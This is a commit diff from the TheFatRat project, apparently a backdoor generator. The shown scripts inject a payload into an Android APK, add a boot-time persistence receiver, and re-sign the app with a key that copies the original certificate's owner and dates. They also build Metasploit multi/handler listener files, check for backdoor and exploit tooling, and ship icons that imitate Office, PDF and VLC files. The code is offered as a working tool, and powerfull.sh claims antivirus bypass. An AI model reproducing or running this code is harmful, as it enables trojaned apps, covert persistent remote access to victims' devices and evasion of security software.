echo "[!] Failed to add hook"
exit $rc
fi
dotted_inject_package=$(echo "$INJECT_PACKAGE" |sed -r 's:/:.:g')
cat >$MY_PATH/temp/persistence.hook <<EOL
<receiver android:name="${dotted_inject_package}.${new_mbr_name}">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
<service android:exported="true" android:name="${dotted_inject_package}.${new_ms_name}"/>
EOL
grep "android.permission.RECEIVE_BOOT_COMPLETED" $original_manifest_file >>$LOG_FILE 2>&1
rc=$?
if [ $rc == 0 ]; then
echo -n "[*] Adding persistence hook in original project..."
sed -i '0,/<\/application>/s//'"$placeholder"'\n <\/application>/' $original_manifest_file >>$LOG_FILE 2>&1
rc=$?
if [ $rc == 0 ]; then
sed -i '/'"$placeholder"'/r '"$MY_PATH"'/persistence.hook' $original_manifest_file >>$LOG_FILE 2>&1
rc=$?
if [ $rc == 0 ]; then
sed -i '/'"$placeholder"'/d' $original_manifest_file >>$LOG_FILE 2>&1
rc=$?
fi
fi
echo "done."
if [ $rc != 0 ]; then
echo "[!] Failed to add persistence hook"
exit $rc
fi
else
echo "[+] Unable to add persistence hook due to missing permission"
fi
echo -n "[*] Recompiling original project with backdoor..."
$APKTOOL b $MY_PATH/temp/original >>$LOG_FILE 2>&1
rc=$?
echo "done."
if [ $rc != 0 ]; then
echo "[!] Failed to recompile original project with backdoor"
exit $rc
fi
keystore=$MY_PATH/temp/signing.keystore
compiled_apk=$MY_PATH/temp/original/dist/$ORIG_APK_FILE_NAME
unaligned_apk=$MY_PATH/temp/original/dist/unaligned.apk
dname=`$KEYTOOL -J-Duser.language=en -printcert -jarfile $ORIG_APK_FILE |grep -m 1 "Owner:" |sed 's/^.*: //g'`
echo "Original dname value: $dname" >>$LOG_FILE 2>&1
valid_from_line=`$KEYTOOL -J-Duser.language=en -printcert -jarfile $ORIG_APK_FILE |grep -m 1 "Valid from:"`
echo "Original valid from line: $valid_from_line" >>$LOG_FILE 2>&1
from_date=$(sed 's/^Valid from://g' <<< $valid_from_line |sed 's/until:.\+$//g' |sed 's/^[[:space:]]*//g' |sed 's/[[:space:]]*$//g')
echo "Original from date: $from_date" >>$LOG_FILE 2>&1
from_date_tz=$(awk '{ print $5 }' <<< $from_date)
from_date_norm=$(sed 's/[[:space:]]'"$from_date_tz"'//g' <<< $from_date)
echo "Normalized from date: $from_date_norm" >>$LOG_FILE 2>&1
to_date=$(sed 's/^Valid from:.\+until://g' <<< $valid_from_line |sed 's/^[[:space:]]*//g' |sed 's/[[:space:]]*$//g')
echo "Original to date: $to_date" >>$LOG_FILE 2>&1
to_date_tz=$(awk '{ print $5 }' <<< $to_date)
to_date_norm=$(sed 's/[[:space:]]'"$to_date_tz"'//g' <<< $to_date)
echo "Normalized to date: $to_date_norm" >>$LOG_FILE 2>&1
from_date_str=`TZ=UTC date --date="$from_date_norm" +"%Y/%m/%d %T"`
echo "Value of from_date_str: $from_date_str" >>$LOG_FILE 2>&1
end_ts=$(TZ=UTC date -ud "$to_date_norm" +'%s')
start_ts=$(TZ=UTC date -ud "$from_date_norm" +'%s')
validity=$(( ( (${end_ts} - ${start_ts}) / (60*60*24) ) ))
echo "Value of validity: $validity" >>$LOG_FILE 2>&1
echo -n "[*] Generating RSA key for signing..."
$KEYTOOL -genkey -noprompt -alias signing.key -startdate "$from_date_str" -validity $validity -dname "$dname" -keystore $keystore -storepass android -keypass android -keyalg RSA -keysize 2048 >>$LOG_FILE 2>&1
rc=$?
if [ $rc != 0 ]; then
echo "Retrying RSA key generation without original APK cert from date and validity values" >>$LOG_FILE 2>&1
$KEYTOOL -genkey -noprompt -alias signing.key -validity 10000 -dname "$dname" -keystore $keystore -storepass android -keypass android -keyalg RSA -keysize 2048 >>$LOG_FILE 2>&1
rc=$?
fi
echo "done."
if [ $rc != 0 ]; then
echo "[!] Failed to generate RSA key"
exit $rc
fi
echo -n "[*] Signing recompiled APK..."
$JARSIGNER -sigalg SHA1withRSA -digestalg SHA1 -keystore $keystore -storepass android -keypass android $compiled_apk signing.key >>$LOG_FILE 2>&1
rc=$?
echo "done."
if [ $rc != 0 ]; then
echo "[!] Failed to sign recompiled APK"
exit $rc
fi
echo -n "[*] Verifying signed artifacts..."
$JARSIGNER -verify -certs $compiled_apk >>$LOG_FILE 2>&1
rc=$?
echo "done."
if [ $rc != 0 ]; then
echo "[!] Failed to verify signed artifacts"
exit $rc
fi
mv $compiled_apk $unaligned_apk
echo -n "[*] Aligning recompiled APK..."
$ZIPALIGN 4 $unaligned_apk $compiled_apk >>$LOG_FILE 2>&1
rc=$?
echo "done."
if [ $rc != 0 ]; then
echo "[!] Failed to align recompiled APK"
exit $rc
fi
rm $unaligned_apk
fiapk=$MY_PATH/temp/original/dist/app.apk
if [ -f "$fiapk" ]
then
echo -e $green ""
echo -ne "[*] Backdoor apk created succefully"
else
echo -e $red "There was a problem in the creation of your Rat apk file ,
check $MY_PATH/logs/apk.log for more information about the error ."
rm -rf temp/* > /dev/null 2>&1
exit 1
fi
#looking if already exists a previous backdoor apk created and renaming it
ren=`shuf -i 1-1000 -n 1`
back="$output/app_backdoor.apk"
if [ -f "$back" ]
then
mv $output/app_backdoor.apk $output/app_backdoor_$ren.apk
echo -e $yellow ""
echo "FatRat Detected that you already had a previous created backdoor
file in ($output/) with the name app_backdoor.apk ."
echo -e $blue ""
echo "FatRat have renamed your old backdoor to app_backdoor_$ren.apk"
#Moving finished backdoor file to final destination
mv $MY_PATH/temp/original/dist/app.apk $output/app_backdoor.apk > /dev/null 2>&1
echo -e $green ""
echo "Your RAT apk was successfully builded and signed , it is located here :
~/Fatrat_Generated/app_backdoor.apk"
rm -rf temp/* > /dev/null 2>&1
echo ""
else
mv $MY_PATH/temp/original/dist/app.apk $output/app_backdoor.apk > /dev/null 2>&1
echo -e $green ""
echo "Your RAT apk was successfully builded and signed , it is located here :
~/Fatrat_Generated/app_backdoor.apk"
rm -rf temp/* >/dev/null 2>&1
echo ""
fi
echo -e $okegreen "Do you want to create a listener for this configuration"
echo -e $okegreen "to use in msfconsole in future ?"
echo ""
echo -ne $cyan "Choose y/n : "
read sel
case $sel in
y|Y|Yes|yes|YES)
echo ""
echo -e $green "Write the name for this config . (ex : myratapk)"
echo -ne "Filename : ";tput sgr0
read fname
fl="$fname"
if [ -z $fname ]
then
svf="$path/config/listeners/myratapk.rc"
if [ -f $svf ]; then
svf="$path/config/listeners/myratapk$ren.rc"
touch $svf
payloads=`sed -n 3p $apkconf`
yourip=`sed -n 4p $apkconf`
yourport=`sed -n 5p $apkconf`
echo "use exploit/multi/handler" > $svf
echo "set PAYLOAD $payloads" >> $svf
echo "set LHOST $yourip" >> $svf
echo "set LPORT $yourport" >> $svf
echo "exploit -j" >> $svf
echo -e $green ""
echo "Configuration file saved to $list/myratapk$ren.rc"
else
svf="$path/config/listeners/myratapk.rc"
touch $svf
payloads=`sed -n 3p $apkconf`
yourip=`sed -n 4p $apkconf`
yourport=`sed -n 5p $apkconf`
echo "use exploit/multi/handler" > $svf
echo "set PAYLOAD $payloads" >> $svf
echo "set LHOST $yourip" >> $svf
echo "set LPORT $yourport" >> $svf
echo "exploit -j" >> $svf
echo -e $green ""
echo "Configuration file saved to $list/myratapk.rc"
fi
else
svf="$path/config/listeners/$fl.rc"
if [ -f $svf ]
then
svf="$path/config/listeners/$fl$ren.rc"
touch $svf
payloads=`sed -n 3p $apkconf`
yourip=`sed -n 4p $apkconf`
yourport=`sed -n 5p $apkconf`
echo "use exploit/multi/handler" > $svf
echo "set PAYLOAD $payloads" >> $svf
echo "set LHOST $yourip" >> $svf
echo "set LPORT $yourport" >> $svf
echo "exploit -j" >> $svf
echo -e $blue ""
echo "Configuration file saved to $list/$fl$ren.rc"
else
svf="$path/config/listeners/$fl.rc"
touch $svf
payloads=`sed -n 3p $apkconf`
yourip=`sed -n 4p $apkconf`
yourport=`sed -n 5p $apkconf`
echo "use exploit/multi/handler" > $svf
echo "set PAYLOAD $payloads" >> $svf
echo "set LHOST $yourip" >> $svf
echo "set LPORT $yourport" >> $svf
echo "exploit -j" >> $svf
echo -e $blue ""
echo "Configuration file saved to $list/$fl.rc"
fi
fi
echo -e $green ""
exit
;;
n|no|No|NO)
echo -e $green ""
exit
;;
*)
echo -e $green ""
exit
;;
esac

View File

@ -1 +0,0 @@
#OUTPUT FOR EMBED BACKDOOR ( CREATE BACKDOOR WITH BACKDOOR FACTORY )

400
chk_tools Normal file
View File

@ -0,0 +1,400 @@
#!/bin/bash
cyan='\033[0;36m'
green='\033[0;32m'
lightgreen='\e[0;32m'
white='\e[0;37m'
red='\e[0;31m'
yellow='\033[0;33m'
blue='\033[0;34m'
orange='\e[38;5;166m'
echo -e "$orange""---------$green TheFatRat tools version check$orange----------"
echo -e "$orange""-------------------------------------------------"
echo -ne "$green""* - Checking$cyan Netcat$green (Net Check)..............."
which nc > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo "[✔]"
else
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install netcat"
fi
echo -ne "$green""* - Checking$cyan Xterm$green (Terminal)................."
which xterm > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo "[✔]"
else
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install xterm"
fi
echo -ne "$green""* - Checking$cyan Dig$green (Dns-Util)..................."
which dig > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo "[✔]"
else
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install dnsutils"
fi
echo -ne "$green""* - Checking$cyan mono-mcs$green (compiler).............."
which mcs > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo "[✔]"
else
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install mono-mcs mono-devel"
fi
echo -ne "$green""* - Checking$cyan Gcc$green (compiler)..................."
which gcc > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo "[✔]"
else
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install gcc"
fi
echo -ne "$green""* - Checking$cyan Apache2$green (Web Server)............."
which apache2 > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo "[✔]"
else
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install apache2"
fi
echo -ne "$green""* - Checking$cyan Gnome Terminal$green (Terminal)........"
which gnome-terminal > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo "[✔]"
else
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install gnome-terminal"
fi
echo -ne "$green""* - Checking$cyan Upx$green (File Compressor)............"
which upx > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo "[✔]"
else
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install upx-ucl"
fi
echo -ne "$green""* - Checking$cyan Ruby$green (Programming)..............."
which ruby > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo "[✔]"
else
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install ruby"
fi
echo -ne "$green""* - Checking$cyan Gem$green (Ruby modules installer)....."
which gem > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo "[✔]"
echo -ne "$green""* - Checking$cyan nokogiri$green (Ruby module)..........."
chkvs=$(gem list | grep "nokogiri")
if [[ ! -z "$chkvs" ]]
then
echo "[✔]"
else
echo -e "$green""[${red}x$green]$orange Solution:$green gem install nokogiri"
fi
else
echo -e "$green""[${red}x$green]$orange Solution:$green https://rubygems.org/pages/download"
fi
echo -ne "$green""* - Checking$cyan Openssl$green (Certificates)..........."
which openssl > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo "[✔]"
else
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install openssl"
fi
echo -ne "$green""* - Checking$cyan Python2$green (Programming)............"
which python2 > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo "[✔]"
else
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install python2-minimal"
fi
echo -ne "$green""* - Checking$cyan Python3$green (Programming)............"
which python3 > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo "[✔]"
else
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install python3"
fi
echo -ne "$green""* - Checking$cyan Python-pip3$green (Module Installer)..."
which pip3 > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo "[✔]"
echo -ne "$green""* - Checking$cyan names$green (python module)............"
chkvs=$(pip3 list | grep "names")
if [[ ! -z "$chkvs" ]]
then
echo "[✔]"
else
echo -e "$green""[${red}x$green]$orange Solution:$green pip3 install names"
fi
else
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install python3-pip"
fi
echo -ne "$green""* - Checking$cyan Build-Essential$green (Cross Compiler)."
chkvs=$(apt-cache policy build-essential | grep "Installed" | awk '{print$2}')
if [[ "$chkvs" == "(none)" ]]
then
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install build-essential"
else
echo "[✔]"
fi
echo -ne "$green""* - Checking$cyan lib32z1$green (apk Req.)..............."
chkvs=$(apt-cache policy lib32z1 | grep "Installed" | awk '{print$2}')
if [[ "$chkvs" == "(none)" ]]
then
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install lib32z1"
else
echo "[✔]"
fi
echo -ne "$green""* - Checking$cyan lib32ncurses5$green (apk Req.)........."
chkvs=$(apt-cache policy lib32ncurses5 | grep "Installed" | awk '{print$2}')
if [[ "$chkvs" == "(none)" ]]
then
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install lib32ncurses5"
else
echo "[✔]"
fi
echo -ne "$green""* - Checking$cyan lib32stdc++6$green (apk Req.).........."
chkvs=$(apt-cache policy lib32stdc++6 | grep "Installed" | awk '{print$2}')
if [[ "$chkvs" == "(none)" ]]
then
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install lib32stdc++6"
else
echo "[✔]"
fi
echo -ne "$green""* - Checking$cyan Jarsigner$green (apk Req.)............."
which jarsigner > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo "[✔]"
echo -ne "$green""* - Checking$cyan Keytool$green (apk Req.)..............."
which keytool > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo "[✔]"
else
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install default-jdk default-jre"
fi
else
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install default-jdk default-jre"
fi
echo -ne "$green""* - Checking$cyan Unzip$green (Unpacker)................."
which unzip > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo "[✔]"
else
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install unzip"
fi
echo -ne "$green""* - Checking$cyan Zipalign$green (Apk Req.).............."
if [ -f "tools/android-sdk/zipalign" ]; then
echo "[✔]"
else
echo -e "$green""[${red}x$green]$orange Solution:$green Clone Fatrat Git again to a different directory"
echo -e "$orange""zipalign was not found in fatrat package"
fi
echo -ne "$green""* - Checking$cyan Mingw 64 Bit$green (Compiler).........."
which x86_64-w64-mingw32-gcc >> /dev/null 2>&1
if [ "$?" -eq "0" ]; then
chkvs=$(x86_64-w64-mingw32-gcc --version | sed -n 1p | awk '{print$3}')
case $chkvs in
4.9.1)
echo "[✔]"
;;
6.3.0)
echo "[✔]"
;;
*)
echo -e "$green""[${red}x$green]$orange Incorrect 64Bit Version for Fudwin in Fatrat"
echo ""
echo -e "$orange""------------Solution -------------"
echo -e "$cyan""Step 1 - Remove your current ming installation"
echo ""
echo -e "$green""apt-get remove --purge *mingw* -y && apt-get autoremove -y"
echo ""
echo -e "$cyan""Step 2 - Run Setup from fatrat"
echo ""
echo -e "$green""chmod +x setup.sh && ./setup.sh"
echo -e "$orange""----------------------------------"
echo ""
;;
esac
else
echo -e "$green""[${red}x$green]$orange Not Found"
echo ""
echo -e "$orange""------------Solution -------------"
echo -e "$cyan""Step 1 - Run Setup from fatrat"
echo ""
echo -e "$green""chmod +x setup.sh && ./setup.sh"
echo ""
echo -e "$orange""----------------------------------"
fi
echo -ne "$green""* - Checking$cyan Mingw 32 Bit$green (Compiler).........."
which i686-w64-mingw32-gcc >> /dev/null 2>&1
if [ "$?" -eq "0" ]; then
chkvs=$(i686-w64-mingw32-gcc --version | sed -n 1p | awk '{print$3}')
case $chkvs in
4.9.1)
echo "[✔]"
;;
6.3.0)
echo "[✔]"
;;
*)
echo -e "$green""[${red}x$green]$orange Incorrect 64Bit Version for Fudwin in Fatrat"
echo ""
echo -e "$orange""------------Solution -------------"
echo -e "$cyan""Step 1 - Remove your current ming installation"
echo ""
echo -e "$green""apt-get remove --purge *mingw* -y && apt-get autoremove -y"
echo ""
echo -e "$cyan""Step 2 - Run Setup from fatrat"
echo ""
echo -e "$green""chmod +x setup.sh && ./setup.sh"
echo -e "$orange""----------------------------------"
echo ""
;;
esac
else
echo -e "$green""[${red}x$green]$orange Not Found"
echo ""
echo -e "$orange""------------Solution -------------"
echo -e "$cyan""Step 1 - Run setup from fatrat"
echo ""
echo -e "$green""chmod +x setup.sh && ./setup.sh"
echo -e "$orange""----------------------------------"
echo ""
echo ""
fi
rm -rf temp/dx >/dev/null 2>&1
echo -ne "$green""* - Checking$cyan Dx$green (Apk Req.)...................."
which dx >> /dev/null 2>&1
if [ "$?" -eq "0" ]; then
dxg=$(dx --version 2>&1 | tee temp/dx > /dev/null 2>&1)
chkvs=$(grep "version" < temp/dx | awk '{print $3}')
case "$chkvs" in
1.16)
echo "[✔]"
;;
*)
echo -e "$green""[${red}x$green]$orange Incorrect Version for apk builder in Fatrat"
echo -e "$orange""------------Solution-------------"
echo -e "$cyan""Step 1 - Remove your current install dx version"
echo ""
echo -e "$green""apt-get remove --purge dx"
echo ""
echo -e "$cyan""Step 2 - Run setup.sh from fatrat and let it install the correct version"
echo -e "$orange""----------------------------------"
;;
esac
else
echo -e "$green""[${red}x$green]$orange Not Found"
echo -e "$orange""------------Solution-------------"
echo -e "$cyan""Step 1 - Run setup.sh from fatrat and let it install the tool"
echo -e "$orange""----------------------------------"
fi
rm -f temp/dx >/dev/null 2>&1
echo -ne "$green""* - Checking$cyan Aapt$green (Apk Req.).................."
which aapt >> /dev/null 2>&1
if [ "$?" -eq "0" ]; then
chkvs=$(aapt v | grep "Android" | awk '{print $5}')
case "$chkvs" in
v0.2-6625208)
echo "[✔]"
;;
*)
echo -e "$green""[${red}x$green]$orange Incorrect Version for apk builder in Fatrat"
echo -e "$orange""------------Solution-------------"
echo -e "$cyan""Step 1 - Remove your current installed aapt version"
echo ""
echo -e "$green""apt-get remove --purge aapt"
echo ""
echo -e "$cyan""Step 2 - Run setup.sh from fatrat and let it install the correct version"
echo -e "$orange""----------------------------------"
;;
esac
else
echo -e "$green""[${red}x$green]$orange Not Found"
echo -e "$orange""------------Solution-------------"
echo -e "$cyan""Step 1 - Run setup.sh from fatrat and let it install the tool"
echo -e "$orange""----------------------------------"
fi
echo -ne "$green""* - Checking$cyan Apktool$green (Apk Req.)..............."
which apktool >> /dev/null 2>&1
if [ "$?" -eq "0" ]; then
chkvs=$(apktool --version | awk '{print$1}')
case "$chkvs" in
2.6.0)
echo "[✔]"
;;
*)
echo -e "$green""[${red}x$green]$orange Incorrect Version for apk builder in Fatrat"
echo -e "$orange""------------Solution-------------"
echo -e "$cyan""Step 1 - Remove your current installed apktool version"
echo ""
echo -e "$green""apt-get remove --purge apktool -y && rm /usr/local/sbin/apktool > /dev/null 2>&1"
echo ""
echo -e "$cyan""Step 2 - Run setup.sh from fatrat and let it install the correct version"
echo -e "$orange""----------------------------------"
;;
esac
else
echo -e "$green""[${red}x$green]$orange Not Found"
echo -e "$orange""------------Solution-------------"
echo -e "$cyan""Step 1 - Run setup.sh from fatrat and let it install the tool"
echo -e "$orange""----------------------------------"
fi
echo -ne "$green""* - Checking$cyan Baksmali$green (Apk Req.).............."
which baksmali >> /dev/null 2>&1
if [ "$?" -eq "0" ]; then
chkvs=$(baksmali --version | grep "baksmali" | awk '{print$2}')
case "$chkvs" in
2.3.3)
echo "[✔]"
;;
*)
echo -e "$green""[${red}x$green]$orange Incorrect Version for apk builder in Fatrat"
echo -e "$orange""------------Solution-------------"
echo -e "$cyan""Step 1 - Remove your current installed baksmali version"
echo ""
echo -e "$green""apt-get remove --purge smali"
echo ""
echo -e "$cyan""Step 2 - Run setup.sh from fatrat and let it install the correct version"
echo -e "$orange""----------------------------------"
;;
esac
else
echo -e "$green""[${red}x$green]$orange Not Found"
echo -e "$orange""------------Solution-------------"
echo -e "$cyan""Step 1 - Run setup.sh from fatrat and let it install the tool"
echo -e "$orange""----------------------------------"
fi
echo -ne "$green""* - Checking$cyan Metasploit-Framework$green (msfc)......"
which msfconsole > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo "[✔]"
else
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install metasploit-framework"
echo -e "$orange""Install using kali repository"
fi
echo -ne "$green""* - Checking$cyan Metasploit-Framework$green (msfv)......"
which msfvenom > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo "[✔]"
else
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install metasploit-framework"
echo -e "$orange""Install using kali repository"
fi
echo -ne "$green""* - Checking$cyan Backdoor Factory$green (exe backdoor).."
which backdoor-factory > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo "[✔]"
else
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install backdoor-factory"
echo -e "$orange""Install using kali repository/Ignore in case manually installed"
fi
echo -ne "$green""* - Checking$cyan Searchsploit$green (exploit db)........"
which searchsploit > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo "[✔]"
else
echo -e "$green""[${red}x$green]$orange Solution:$green apt-get install exploitdb"
echo -e "$orange""Install using kali repository/Ignore in case manually installed"
fi
echo ""
echo -e "$orange""--------------End Of Check tool for fatrat---------------"
exit 0

8
config/TheFatRat.desktop Normal file
View File

@ -0,0 +1,8 @@
[Desktop Entry]
Name=TheFatRat
Comment=Massive Exploiting Tool Revealed - An easy tool to generate backdoor & post exploitation attack.
Exec=gnome-terminal -t "TheFatRat 1.9.5" --geometry=600x630 -e "bash -c 'fatrat';-bash"
Icon=/usr/share/icons/TheFatRat.ico
Terminal=true
Type=Application
StartupNotify=false

View File

@ -0,0 +1,3 @@
---------------------------------------------
|Folder for User saved msfconsole listeners |
---------------------------------------------

4
config/readme.md Normal file
View File

@ -0,0 +1,4 @@
-----------------------------------------
|Folder for FatRat configuration files .|
| Do Not Remove this file . |
-----------------------------------------

6181
fatrat

File diff suppressed because it is too large Load Diff

108
grab.sh Normal file
View File

@ -0,0 +1,108 @@
#!/bin/bash
#Grab script was build by peterpt exclusively for fatrat 1.9.4
#Grab script waits for a msfconsole script output and then copy that output to a final folder ,
#Grab script will close automatically the msfconsole window generated by fatrat
#closes the active msfconsole terminal automatically and autoclose itself .
#This script cannot work indenpendently from fatrat
#colours variables
cyan='\e[0;36m'
green='\e[0;34m'
okegreen='\033[92m'
lightgreen='\e[1;32m'
white='\e[1;37m'
red='\e[1;31m'
yellow='\e[0;33m'
BlueF='\e[1;34m' #Biru
RESET="\033[00m" #normal
orange='\e[38;5;166m'
path=`pwd` #Set path variable
file=temp/msff #Filename to search in metasploit output folder
conf=config/grab.conf #Maximum time to wait for all process to be done
cvar="config/config.path"
output=$(sed -n 17p ${cvar})
#If timeout configuration file does not exist then abort script
if [ ! -f "$conf" ]; then
echo "Timeout configuration was not found"
echo "Aborting"
exit
else
#timeout configuration file found , read the 4th line
tmo=`sed -n 4p $conf`
fi
#Clean metasploit output folder (in case a previous file with same name was created)
rm -rf $HOME/.msf4/local/* >/dev/null 2>&1
# Look for the name of the file to be search in metasploit output in msff
# msff file will be created by fatrat
if [ -f "$file" ]; then
#msf file exists then read 1st line (filename to search)
var=`sed -n 1p $file`
else
#msf does not exist , abort
exit 1
fi
function outf(){
clear
echo -e $orange "---------------------------------------------------"
echo -e $orange "|$okegreen Grab Script 1.0 (fatrat 1.9.4 edition)$orange |"
echo -e $orange "---------------------------------------------------"
echo -e $okegreen "Second : $sleep - Timeout : $tmo"
echo ""
echo -e $okegreen "Waiting for msfconsole output to be generated in Xterm Window"
#set directory to search for file , and filename
out="$HOME/.msf4/local/$var"
#sleep variable is equal to itself + 1 second
sleep=$((sleep+1))
if [ $sleep == "$tmo" ] ; then
#in case timeout value achieved without any metasploit output file created
#then exits this script
echo "Metasploit did not generated any output or your timeout is short"
pkill -f Microsploit > /dev/null 2>&1
exit 1
fi
#File was created by metasploit , copy it to final destination , kill msfconsole window and auto-close this script
if [ -f $out ]; then
mv $HOME/.msf4/local/$var $output/$var
#Look in active processes a process name "Microsploit" and kill it
pkill -f Microsploit > /dev/null 2>&1
exit 1
else
#metasploit output file was not yet found , wait 1 second
sleep 1
# start again
outf
fi
}
echo -e $orange "---------------------------------------------------"
echo -e $orange "|$okegreen Grab Script 1.0 (fatrat 1.9.4 edition)$orange |"
echo -e $orange "---------------------------------------------------"
echo -e $okegreen " Dont close this window , it will autoclose itself"
echo ""
echo -e $okegreen "Waiting for msfconsole output to be generated in Xterm Window"
echo -e $orange "Max waiting time = $tmo seconds"
#if the current value from msff is empty then abort this script
#this will mean that msff file exists but does not have anything written
if [ -z "$var" ]; then
exit 1
fi
#set sleep variable to 1 second
sleep="1"
#Everything is ok until this point , start loop until timeout
outf

View File

@ -1,6 +1 @@
#HOW CHANGE THE ICONS ?
- Copy your icon picture to folder /TheFatrat/icons ( must *.ico )
- Change the name into autorun.ico
- And Replace
- Done
Icons Folder to be used in fatrat backdoor creation

BIN
icons/TheFatRat.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 361 KiB

BIN
icons/access.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 163 KiB

BIN
icons/excel.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 161 KiB

BIN
icons/lync.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 162 KiB

BIN
icons/pdf.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 97 KiB

BIN
icons/powerpoint.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 161 KiB

BIN
icons/project.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 161 KiB

BIN
icons/publisher.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 161 KiB

BIN
icons/visio.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 162 KiB

BIN
icons/vlc.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 242 KiB

BIN
icons/word.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 162 KiB

1899
lists/namelist.txt Normal file

File diff suppressed because it is too large Load Diff

8
lists/tldlist.txt Normal file
View File

@ -0,0 +1,8 @@
com
net
org
biz
gov
us
me
io

3
logs/readme.md Normal file
View File

@ -0,0 +1,3 @@
*******************************************************************************
* All TheFatRat logs will be stored in this folder , do not delete this file! *
*******************************************************************************

View File

@ -1 +0,0 @@
Don't Delete the Folder and dont change directory name , if you change you must change the script too

226
powerfull.sh Normal file → Executable file
View File

@ -1,6 +1,99 @@
#!/bin/bash
file="config/config.path"
if [ -f "$file" ]
then
msfconsole=$(sed -n 13p ${file})
msfvenom=$(sed -n 14p ${file})
backdoor=$(sed -n 15p ${file})
searchsploit=$(sed -n 16p ${file})
output=$(sed -n 17p ${file})
else
echo "Configuration file does not exists , run setup.sh first ."
exit 1
fi
path=`pwd`
defcon=$path/config/conf.def
if [ -f "$defcon" ]
then
yourip=`sed -n 1p $defcon`
yourport=`sed -n 2p $defcon`
fi
function invalid1 ()
{
err=0
echo ""
if [ -z "$yourip" ]; then
echo -e $red ""
echo "[ ! ] You must write an IP or Hostname ."
echo -e $okegreen ""
echo "IP Example : 192.168.1.34
Domain Example : myhost.com"
err=1
fi
echo ""
if [ -z "$yourport" ]; then
echo -e $red ""
echo "[ ! ] You must write a port number between 1 & 65535 ."
err=1
fi
echo -e $okegreen ""
}
#get user local ip , public ip & hostname into variables
lanip=`ip addr | grep 'state UP' -A2 | tail -n1 | awk '{print $2}' | cut -f1 -d'/'`
lanip6=`ip addr | grep 'state UP' -A4 | tail -n1 | awk '{print $2}' | cut -f1 -d'/'`
publicip=`dig +short myip.opendns.com @resolver1.opendns.com`
hostn=`host $publicip | awk '{print $5}' | sed 's/.$//'`
comp="0"
# Warn if the gcc-mingw32 package is not located here /usr/bin/i586-mingw32msvc-gcc
# You may need to install the following on Kali Linux to compile the C to an Exe - "apt-get install gcc-mingw32"
# check mingw if exists
which i686-w64-mingw32-gcc > /dev/null 2>&1
if [ "$?" -eq "0" ]
then
echo []::[mingw32]: installation found!;
comp="1"
fi
which x86_64-w64-mingw32-gcc > /dev/null 2>&1
if [ $? -eq 0 ]
then
echo []::[mingw64]: installation found!;
if [ $comp == "0" ]
then
comp="2"
elif [ $comp == "1" ]
then
comp="3"
else
echo [x]::[warning]:this script require mingw32 or mingw64 installed to work ;
echo ""
echo [!]::Run setup.sh to install mingw64 ;
sleep 2s
exit 1
fi
fi
# check upx if exists
which upx > /dev/null 2>&1
if [ $? -eq 0 ]; then
echo []::[Upx]: installation found!;
else
echo [x]::[warning]:this script require upx to work ;
echo ""
echo [!]::Run setup.sh to install upx ;
echo ""
sleep 2s
exit 1
fi
###################################################################################################
# FatRat Coded By Screetsec ( Edo Maland )
# Program to create a C program after it is compiled that will bypass most AV
@ -14,7 +107,6 @@
#Checking
[[ `id -u` -eq 0 ]] || { echo -e "\e[31mMust be root to run script"; exit 1; }
resize -s 30 76
clear
SERVICE=service;
@ -27,8 +119,11 @@ white='\e[1;37m'
red='\e[1;31m'
yellow='\e[1;33m'
BlueF='\e[1;34m'
yellow='\e[1;33m'
orange='\e[38;5;166m'
